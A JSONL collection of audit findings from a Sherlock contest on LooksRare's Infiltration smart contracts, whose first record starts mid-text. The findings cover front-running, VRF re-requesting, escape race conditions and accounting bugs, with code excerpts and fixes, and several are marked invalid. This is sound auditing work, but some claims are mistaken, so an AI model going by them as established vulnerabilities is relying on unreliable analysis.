Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L379-L381\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1019-L1028\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is recommended to modify the HEAL_PROBABILITY_MINUEND parameter or the calculation in the healProbability function.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/015.md"}} +{"title":"Algorithm error","severity":"info","body":"Merry Mauve Bear\n\nmedium\n\n# Algorithm error\n##Summary\nInconsistency in calculations related to the HEAL_PROBABILITY_MINUEND parameter\n\n##Vulnerability Detail\nInconsistency between the parameters used in the initialization HEAL_PROBABILITY_MINUEND and subsequent calculations in the healProbability function.\nThe algorithm for calculating HEAL_PROBABILITY_MINUEND is *99-80. the calculation in HEALProbability is *19 (which is 99-80) .\n\n##Impact\nThe result of the healProbability function calculation is large, affecting the token destruction in _healRequestFulfilled, and the return value deadAgentsCount is not increased. The end of the game was delayed.\n\n##Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L379-L381\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1019-L1028\n##Tool used\nManual Review\n\n##Recommendation\nIt is recommended to modify the HEAL_PROBABILITY_MINUEND parameter or the calculation in the healProbability function.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/014.md"}} +{"title":"Algorithm error","severity":"info","body":"Merry Mauve Bear\n\nfalse\n\n# Algorithm error\nSummary\nInconsistency in calculations related to the HEAL_PROBABILITY_MINUEND parameter\n\nVulnerability Detail\nInconsistency between the parameters used in the initialization HEAL_PROBABILITY_MINUEND and subsequent calculations in the healProbability function.\nThe algorithm for calculating HEAL_PROBABILITY_MINUEND is *99-80. the calculation in HEALProbability is *19 (which is 99-80) .\n\nImpact\nThe result of the healProbability function calculation is large, affecting the token destruction in _healRequestFulfilled, and the return value deadAgentsCount is not increased. The end of the game was delayed.\n\nCode Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L379-L381\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1019-L1028\nTool used\nManual Review\n\nRecommendation\nIt is recommended to modify the HEAL_PROBABILITY_MINUEND parameter or the calculation in the healProbability function.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/013.md"}} +{"title":"Infiltration.sol - VRF re-requesting, opening up rigging possiblity","severity":"info","body":"Tame Rainbow Canary\n\nmedium\n\n# Infiltration.sol - VRF re-requesting, opening up rigging possiblity\n## Summary\nVRF randomness could be re-requested, breaking security considerations. \n\n## Vulnerability Detail\nThe protocol makes requests to Chainlink's VRF to request off-chain randomness. Upon a slow response time, > 1 day, a re-request can be **and will be** triggered, opening up the possibility of provider manipulation. By purposefully withholding the random response, the provider can trigger a re-request of the random number in attempt to get a more favorable value.\nPer the VRF docs: ``Any re-request of randomness is an incorrect use of VRFv2. Doing so would give the VRF service provider the option to withhold a VRF fulfillment if the outcome is not favorable to them and wait for the re-request in the hopes that they get a better outcome``\nAcceptable risks dispute: The README specifies the VRF provided randomness as trusted, but the issue I am presenting is not related to the randomness itself as discussed with the sponsor - the nodes that provide the inputs that create the random value are the trusted actor. The VRF provider responsible for the callback is a party that has the power to manipulate the outcomes and should not be a trusted actor in the context.\nSeverity: VRF anti-pattern implementations - historically proven and considered H/M.\n\n## Impact\nAnti-pattern implementation, game is prone to manipulation and unfair advantages.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L579-L651\n\n## Tool used\n\nManual Review\n\n## Recommendation\nGet rid of re-request functionality.\nEither: \n1. Use a mutation of the previous random number in order to not skew the round\n2. Increase the response time before relying on such functionality\n3. Introduce a back-up source of randomness\nAnother resource for tackling randomness on-chain, instead of relying on external randomness:\nhttps://github.com/paradigmxyz/zk-eth-rng","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/011.md"}} +{"title":"Suspicious `premint` function not specified in Audit context","severity":"info","body":"Zesty Mulberry Mustang\n\nmedium\n\n# Suspicious `premint` function not specified in Audit context\nmedium\n\n## Summary\nThere is a `premint` function that allows owner to skip mint period check and mint before the game starts. In some cases this is fine but the context Q&A mentioned that owner can only perform 3 actions, and this is not one of them.\n\n## Vulnerability Detail\nThe context Q&A clearly stated that owner can only perform 3 actions:\n```javascript\n// The only role is the owner and it can do 3 things\n\n// 1. set/extend mint period\n// 2. start the game after mint\n// 3. withdraw funds from the contract if the game is bricked\n```\n\n![Screenshot 2023-11-01 at 9 54 49 PM](https://github.com/sherlock-audit/2023-10-looksrare-chrisling-dev/assets/81092286/b7c32e00-8f0d-4c54-bbef-6c96c178fa27)\n\nIt is also not mentioned anywhere in the project's README.md\n\nThe `premint` function allows owner to bypass mint period check and mint the NFTs directly, which is not one of the actions that owner should be able to perform according to context Q&A.\n\n```solidity\n /**\n * @inheritdoc IInfiltration\n * @notice As long as the game has not started (after mint end), the owner can still mint.\n */\n function premint(address to, uint256 quantity) external payable onlyOwner {\n if (quantity * PRICE != msg.value) {\n revert InsufficientNativeTokensSupplied();\n }\n\n if (totalSupply() + quantity > MAX_SUPPLY) {\n revert ExceededTotalSupply();\n }\n\n if (gameInfo.currentRoundId != 0) {\n revert GameAlreadyBegun();\n }\n\n _mintERC2309(to, quantity);\n }\n\n```\n\n## Impact\nOwner role can bypass the rules and mint NFTs before anyone can, which is not one of the actions that owner should be able to perform according to context Q&A.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L449-L464\n\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck with project team whether this is intentional or added by accident. Remove the function if necessary.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/010.md"}} +{"title":"Algorithm error","severity":"info","body":"Merry Mauve Bear\n\nfalse\n\n# Algorithm error\n---\nname: Algorithm error\nabout: These are the audit items that end up in the report\ntitle: \"Algorithm error\"\nlabels: \"Medium\"\nassignees: \"Beosin\"\n\n---\n\n## Summary\n\nInconsistency in calculations related to the HEAL_PROBABILITY_MINUEND parameter\n\n## Vulnerability Detail\n\nInconsistency between the parameters used in the initialization HEAL_PROBABILITY_MINUEND and subsequent calculations in the healProbability function.\nThe algorithm for calculating HEAL_PROBABILITY_MINUEND is *99-80. the calculation in HEALProbability is *19 (which is 99-80) .\n\n## Impact\n\nThe result of the healProbability function calculation is large, affecting the token destruction in _healRequestFulfilled, and the return value deadAgentsCount is not increased. The end of the game was delayed.\n\n## Code Snippet\n\nInfiltration.sol#L379-381\nInfiltration.sol#L1019-1028\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is recommended to modify the HEAL_PROBABILITY_MINUEND parameter or the calculation in the healProbability function.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/007.md"}} +{"title":"`POOL_FEE` is hardcoded which will lead to significant losses compared to optimal routing","severity":"info","body":"Cold Malachite Crocodile\n\nmedium\n\n# `POOL_FEE` is hardcoded which will lead to significant losses compared to optimal routing\n## Summary\nIn [InfiltrationPeriphery.sol](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L19C29-L19C37), `POOL_FEE` is hardcoded, which reduce significantly the possibilities and will lead to non optimal routes.\n## Vulnerability Detail\n- [POOL_FEE](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L19) is hardcoded = `3_000 (0.3%)` and is used in the [heal()](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L45-L51) function and the [costToHeal()](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L78C14-L85) function.\n- The main issue is the assumption and usage of the 0,3% fee pool regardless of asset. Those that are familiar with UniV3 will know that there are multiple pool tiers for the same asset pair. Hence, it is possible that there are other pools (Eg. the pool with 0.1% fee) where majority of the liquidity lies instead.\n- Therefore using the current implementation would create a significant loss of revenue.\n## Impact\n`POOL_FEE` is hardcoded, which reduce significantly the possibilities and will lead to non optimal routes.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L19\n## Tool used\n\nManual Review\n\n## Recommendation\nEnable skipping conversion for some assets, and have a mapping of the pool fee as part of the customisable configuration so that pools with the best liquidity can be used.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/006.md"}} +{"title":"The game can start during the mint period","severity":"info","body":"Amusing Burgundy Urchin\n\nmedium\n\n# The game can start during the mint period\n## Summary\n\nDue to lax checking, it is possible for the game to start during the mint period\n\n## Vulnerability Detail\n\nIn the `mint` function, the mint period end time is mintEnd(include)\n\n```solidity\n /**\n * @inheritdoc IInfiltration\n */\n function mint(uint256 quantity) external payable nonReentrant {\n if (block.timestamp < mintStart || block.timestamp > mintEnd) {\n revert NotInMintPeriod();\n }\n\n if (gameInfo.currentRoundId != 0) {\n ...\n }\n```\n\nBut in the `startGame` function, its mint period is `mintEnd` (exinclude)\n\n```solidity\n /**\n * @inheritdoc IInfiltration\n * @dev If Chainlink randomness callback does not come back after 1 day, we can call\n * startNewRound to trigger a new randomness request.\n */\n function startGame() external onlyOwner {\n uint256 numberOfAgents = totalSupply();\n if (numberOfAgents < MAX_SUPPLY) {\n if (block.timestamp < mintEnd) {\n revert StillMinting();\n }\n }\n\n if (gameInfo.currentRoundId != 0) {\n ...\n }\n```\n\n\n\n## Impact\n\nThis will cause the mint period to end prematurely, preventing users from calling mint\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L502-L502\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange `<` to `<=`\n\n```solidity\n /**\n * @inheritdoc IInfiltration\n * @dev If Chainlink randomness callback does not come back after 1 day, we can call\n * startNewRound to trigger a new randomness request.\n */\n function startGame() external onlyOwner {\n uint256 numberOfAgents = totalSupply();\n if (numberOfAgents < MAX_SUPPLY) {\n if (block.timestamp <= mintEnd) {\n revert StillMinting();\n }\n }\n\n if (gameInfo.currentRoundId != 0) {\n ...\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/005.md"}} +{"title":"Unchecked return value for IERC20.approve call","severity":"info","body":"Nutty Berry Nuthatch\n\nmedium\n\n# Unchecked return value for IERC20.approve call\n## Summary\n\nThe return value for ERC20.approve call is not checked.\n\n## Vulnerability Detail\n\n\"heal\" function of \"InfiltrationPeriphery\" contract calls IERC20.approve but does not check the success return value. \nSome tokens do not revert if the approval failed but return false instead.\n\n## Impact\n\nAlthough approve is failed, transfer logic will be not stopped/\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery#L60\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n\n\n```diff\nfunction heal(uint256[] calldata agentIds) external payable {\n\tuint256 costToHealInLOOKS = INFILTRATION.costToHeal(agentIds);\n\tuint256 amountIn = SWAP_ROUTER.exactOutputSingle{value: msg.value}(params);\n\t\n--\tIERC20(LOOKS).approve(address(TRANSFER_MANAGER), costToHealInLOOKS);\n++\tif(!IERC20(LOOKS).approve(address(TRANSFER_MANAGER), costToHealInLOOKS))\n++ // add revert logic\n\t\n\tINFILTRATION.heal(agentIds);\n\t...\t\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/003.md"}} +{"title":"Invalid condition - mint will be not worked although native token is sufficient.","severity":"info","body":"Nutty Berry Nuthatch\n\nmedium\n\n# Invalid condition - mint will be not worked although native token is sufficient.\n\n## Summary\n\nInvalid condition - mint will be not worked although native token is sufficient.\n\n## Vulnerability Detail\n\nIf the msg.value is not strictly equal \"quantity * PRICE\", \"premint\" and \"mint\" will be not worked although the native token is sufficiently provided.\n\n## Impact\n\n\"premint\" and \"mint\" will not be worked although msg.value is sufficiently provided..\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L450\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L482\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nPlease correct the condition.\n\n```diff\nfunction premint(address to, uint256 quantity) external payable onlyOwner {\n--\tif (quantity * PRICE != msg.value) {\n++\tif (quantity * PRICE > msg.value) {\n\t\trevert InsufficientNativeTokensSupplied();\n\t}\n\t...\n}\n```\n\n```diff\nfunction mint(uint256 quantity) external payable nonReentrant {\n\t...\n\tuint256 amountMinted = amountMintedPerAddress[msg.sender] + quantity;\n\tif (amountMinted > MAX_MINT_PER_ADDRESS) {\n\t\trevert TooManyMinted();\n\t}\n\n--\tif (quantity * PRICE != msg.value) {\n++\tif (quantity * PRICE > msg.value) {\n\t\trevert InsufficientNativeTokensSupplied();\n\t}\n\n\tif (totalSupply() + quantity > MAX_SUPPLY) {\n\t\trevert ExceededTotalSupply();\n\t}\n\n\t...\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/001.md"}} +{"title":"If a winner (primary or secondary) forgets to claim it's reward, money will be stuck undefinitely","severity":"medium","body":"Sunny Bronze Gecko\n\nmedium\n\n# If a winner (primary or secondary) forgets to claim it's reward, money will be stuck undefinitely\n## Summary\nInflation.sol contract is lacking a recover function in case there is a winner but for example 2 month after the game finished there are still `LOOKS` or `ETH` inside the contract, rendering these tokens stuck forever\n\n## Vulnerability Detail\ninflation.sol includes function that allow winners (either last Agent owner or up to 50 last agents) to take their prizes using : \n- `claimGrandPrize()`\n- `claimSecondaryPrizes()`\n\nand includes one emergency function that allows `owner` to withdraw funds stuck on contract in case game is stuck, game couldn't start or there is an accounting problem of agents\nHowever `emergencyWithdraw` cannot be called if the game ends normally with one final winner and there is no other function that allow recovering funds if a winner (of the 1st or secondary prize) which either forgets, loses it's private key or is no longer able to claim it's prize which render LOOKS or ETH in inflation.sol stuck forever\n\n## Impact\n\n- money stuck if a winner either forget, lose it's private key or is no longer able to claim it's prize which render LOOKS or ETH in inflation.sol stuck forever\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L528\n\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a `withdrawAll()` function that ,if for example 2 months pass and there is still money inside, allows contract `owner` or final winner (`ownerOf(agents[1].agentId`) to recover all the funds in the contract","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//020-M/104-best.md"}} +{"title":"If all agents are owned by the same owner then there is no point to play the game","severity":"medium","body":"Quick Silver Stallion\n\nmedium\n\n# If all agents are owned by the same owner then there is no point to play the game\n## Summary\nAt any stage of the game, if all agents are owned by the same owner, there is no motivation or financial incentive to continue the game. These additional rounds would result in unnecessary losses of funds for the LOOKS admin, as compensation in LINK tokens for the Chainlink VRF will continue to accumulate as long as the game persists until completion\n## Vulnerability Detail\nAssume that at a stage of the game, there are 70 active agents, some wounded, and healing agents. If all the active agents are owned by the same owner, the owner can escape 69 of the agents and finish the game in the next round.\n\nAlternatively, if there are 70 active agents, and all 70 are alive, meaning there are no wounded or healing agents, and these 70 agents are controlled by the same owner, then this owner can choose to stall the game as much as possible. This means they do not perform any escapes or healing actions, resulting in the Chainlink VRF continuing to work until the last round. This unnecessarily costs LINK tokens for the LOOKS admin\n## Impact\nAlthough the LOOKS admin is paid enough for the keep game played until the last round the above scenario is just causing the LOOKS admin to lose unnecessary funds. It's like playing a game that has already over. Because of this unnecessary LINK token cost for the LOOKS admin I will label this as medium\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L716-L796\n## Tool used\n\nManual Review\n\n## Recommendation\nIf there are no healers (or maybe even wounded agents?) and all the active/alive agents are owned by the same address, then make a shortcut and end the game","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//019-M/062-best.md"}} +{"title":"Race condition on escaping","severity":"medium","body":"Quick Silver Stallion\n\nhigh\n\n# Race condition on escaping\n## Summary\nAt any point in the game, agents are free to 'escape' from the game by claiming a portion of the prize, as long as the game is not awaiting the Chainlink call. Escapes can only occur after the last Chainlink fulfillment call has been made, and a time interval of approximately one day has passed since then. During this time interval, agents who are still active in the game can choose to escape. The prize they can claim upon escaping is calculated based on the number of 'activeAgents.' The fewer active agents there are, the larger the escape prize will be. However, there is a race condition during this interval. The first agent to exit will receive a smaller reward, which may incentivize users who wish to escape that round to wait until the very last moment to ensure they can receive a larger prize.\n## Vulnerability Detail\nLet's illustrate this with an example: Suppose there are 40 active agents in the game, and the Chainlink fulfill function has just been called. Since `BLOCKS_PER_ROUND` is approximately 1 day and also randomness is checked that at least 1 day is passed in terms of \"block.timestamp\", the next time the 'startNewRound()' function will be called is in one day. During this time interval, Alice decides to escape the game. However, Alice wants to take advantage of the fact that the fewer active agents there are, the larger the prize she can claim upon escaping. To achieve this, Alice runs a bot that front-runs the 'startNewRound()' function, ensuring that she is the last person to exit that round and, therefore, potentially receives a larger escape prize.\n\nAdditionally, since Alice is among the top 50 surviving agents, she will receive a larger share of the secondary prize when she escapes. Therefore, it is in Alice's best interest to wait as long as possible before exiting a round.\n## Impact\nUsers that are technically able to run a front-running bot or monitor the time to execute the escape will always have more advantage. This will make non technical users to always get the worse outcome when escaping in a round. Since this is applicable for any round I will label this as high because it will create unfairness for every round for the agents that wants to escape.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L579-L596\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L677-L711\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L740-L752\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck the round id when escaping, agents escaping in same round should be receiving the escaping reward same in order to prevent the gaming of escaping.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//018-M/058-best.md"}} +{"title":"Frontrunning with startNewRound()","severity":"medium","body":"Warm Concrete Mole\n\nhigh\n\n# Frontrunning with startNewRound()\n## Summary\n\nBecause anyone can call `startNewRound`, an attacker can front-run calls to `heal` or `escape` with `startNewRound`. \n\n## Vulnerability Detail\n\nWhenever `startNewRound` is called, a front-running lock is enabled (in `_requestForRandomness`), so during that period of time (until randomness request is fulfilled), no `heal` or `escape` will be allowed. \n\nIronically enough, an attacker can abuse this front-run lock to make innocent calls to `heal` or `escape` revert by calling `startNewRound` when they observe such `heal` or `escape` requests in the mempool. This is particularly bad for healing, because it can either lead to your agent just getting killed (if time is up as a result) or you getting a worse healing probability. This is a PVP game so attackers are incentivized to do this. \n\nOf course, in order for this to work, the conditions to call `startNewRound` must be cleared. \n\n## Impact\n\nYou can adversely force calls to `heal` or `escape` to revert\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L579\n\n## Tool used\n\nManual Review\n\n## Recommendation\nMake `startNewRound` only callable by owner.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//017-M/129-best.md"}} +{"title":"Missing approve before transferring of WETH to the recipient","severity":"medium","body":"Howling Banana Shark\n\nmedium\n\n# Missing approve before transferring of WETH to the recipient\n## Summary\nMissing approve before transferring of WETH to the recipient\n\n## Vulnerability Detail\nIn the `_transferETHAndWrapIfFailWithGasLimit` function, if the original transfer fails, it should wrap the ETH into WETH and transfer the WETH to the recipient.\n\nFirstly, the amount of ETH is deposited into the WETH contract and then transferred to the recipient. The depositing of ETH will be successful, but the transfer will revert because `msg.sender` has not approved the transfer of the amount.\n\nWhen the `transfer()` function of the WETH contract is called, it directly calls the `transferFrom` function, which requires approval for the tokens before to be to be transferred.\n\nhttps://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code\n\n```solidity\n function transfer(address dst, uint wad) public returns (bool) {\n return transferFrom(msg.sender, dst, wad);\n }\n\n function transferFrom(address src, address dst, uint wad)\n public\n returns (bool)\n {\n require(balanceOf[src] >= wad);\n\n if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {\n require(allowance[src][msg.sender] >= wad);\n allowance[src][msg.sender] -= wad;\n }\n\n balanceOf[src] -= wad;\n balanceOf[dst] += wad;\n\n Transfer(src, dst, wad);\n\n return true;\n }\n```\n\n`LowLevelWETH` is not within the scope of the audit, but this will affect every part of the codebase where `_transferETHAndWrapIfFailWithGasLimit()` is used.\n\n\nAlso, if the original transfer fails because the gas is not enough, depositing and transferring WETH may not be possible.\n\n## Impact\nImpossible to transfer WETH to the recipient.\n\n## Code Snippet\nhttps://github.com/LooksRare/contracts-libs/blob/master/contracts/lowLevelCallers/LowLevelWETH.sol#L36\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L521\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L565\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L669\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L693\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L693\n\n## Tool used\nManual Review\n\n## Recommendation\nApprove `_amount` to be transferred before calling of `transfer()` function.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//016-M/138-best.md"}} +{"title":"[H-01] '_swap' can break things while in a loop.","severity":"medium","body":"Rare Turquoise Bear\n\nhigh\n\n# [H-01] '_swap' can break things while in a loop.\n## Summary\n\nThe [_swap()](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1557C3-L1593C6) function alters the storage and can potentially cause issues when it is used.\n\n## Vulnerability Detail\n\nThe [_swap()](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1557C3-L1593C6) is called when we want to `kill` or `escape`. This is done by swapping the indexes and ids of the last Agent in the array by the index and ids of the agent we want to `kill` or `escape`. The issue is that when executed in a loop with pre-fed values, the next iteration is called by the previous value, where it might be potentially altered. \n\nThat means, suppose we swap with two agents, `Agent001` (index = 69 , id = 7) and `Agent002` (index = 78, id = 10), where Agent001 is the one to be set to `kill` or `escaped` and Agent002 is the agent in last index . The issue is when `Agent002 ` is also next in iteration or coming up in iteration of setting its status as `kill` or escaped. Lets go have a walkthrough when heal is called with both these agents;\n\nWhen `heal` is called with an array of agents to heal with Agent001 and Agent002 , and ultimately [_healRequestFulfilled](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1335C4-L1339C104) is called, `healingAgentIds` is already set and those ids are used to `heal` agents, suppose Agent001 heal failed and `_swap` is called with Agent002 at `lastIndex`. Now after `_swap`;\n\nAgent001 index = 78, id = 10\nAgent002 index = 69, id = 7\n\nSo in the next iteration or upcoming iterations, the ` Agent storage agent = agents[78];`, not that 78 was the index of Agent002 originally, but now it is the index of Agent001, so Agent001 gets another shot at redemption and Agent002 is left out, and the amount spent by the ownerOf(Agent002) is wasted. \n\nThis is one example, there can be issues when [_killWoundedAgents](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1477C4-L1480C50) is also called.\n\n## Impact\n\nLoss of amount spent for user in case of heal.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1557C3-L1594C1\n\n```solidity\n assembly {\n let lastAgentCurrentValue := sload(lastAgentSlot)\n // Replace the last agent's ID with the current agent's ID.\n lastAgentCurrentValue := and(lastAgentCurrentValue, not(AGENT__STATUS_OFFSET))\n lastAgentCurrentValue := or(lastAgentCurrentValue, lastAgentId)\n sstore(currentAgentSlot, lastAgentCurrentValue)\n\n let lastAgentNewValue := agentId\n lastAgentNewValue := or(lastAgentNewValue, shl(AGENT__STATUS_OFFSET, newStatus))\n sstore(lastAgentSlot, lastAgentNewValue)\n }\n```\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1335C3-L1395C6\n\nNotice the loop in which healRequestFulfilled executed\n```solidity\n function _healRequestFulfilled(\n uint256 roundId,\n uint256 currentRoundAgentsAlive,\n uint256 randomWord\n ) private returns (uint256 healedAgentsCount, uint256 deadAgentsCount, uint256 currentRandomWord) {\n uint16[MAXIMUM_HEALING_OR_WOUNDED_AGENTS_PER_ROUND_AND_LENGTH]\n storage healingAgentIds = healingAgentIdsPerRound[roundId];\n uint256 healingAgentIdsCount = healingAgentIds[0];\n\n if (healingAgentIdsCount != 0) {\n HealResult[] memory healResults = new HealResult[](healingAgentIdsCount);\n\n for (uint256 i; i < healingAgentIdsCount; ) {\n uint256 healingAgentId = healingAgentIds[i.unsafeAdd(1)];\n uint256 index = agentIndex(healingAgentId);\n Agent storage agent = agents[index];\n\n healResults[i].agentId = healingAgentId;\n\n // 1. An agent's \"healing at\" round ID is always equal to the current round ID\n // as it immediately settles upon randomness fulfillment.\n //\n // 2. 10_000_000_000 == 100 * PROBABILITY_PRECISION\n if (randomWord % 10_000_000_000 <= healProbability(roundId.unsafeSubtract(agent.woundedAt))) {\n // This line is not needed as HealOutcome.Healed is 0. It is here for clarity.\n // healResults[i].outcome = HealOutcome.Healed;\n uint256 lastHealCount = _healAgent(agent);\n _executeERC20DirectTransfer(\n LOOKS,\n 0x000000000000000000000000000000000000dEaD,\n _costToHeal(lastHealCount) / 4\n );\n } else {\n healResults[i].outcome = HealOutcome.Killed;\n _swap({\n currentAgentIndex: index,\n lastAgentIndex: currentRoundAgentsAlive - deadAgentsCount,\n agentId: healingAgentId,\n newStatus: AgentStatus.Dead\n });\n unchecked {\n ++deadAgentsCount;\n }\n }\n\n randomWord = _nextRandomWord(randomWord);\n\n unchecked {\n ++i;\n }\n }\n\n unchecked {\n healedAgentsCount = healingAgentIdsCount - deadAgentsCount;\n }\n\n emit HealRequestFulfilled(roundId, healResults);\n }\n\n currentRandomWord = randomWord;\n }\n \n ```\n \n \n## Tool used\n\nManual Review\n\n## Recommendation\n\nImplement checks to see if the agent at `lastIndex` is called in the upcoming iterations or better would be to cache and update the storage by `_swap` after execution or after loop is completed.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//015-M/130-best.md"}} 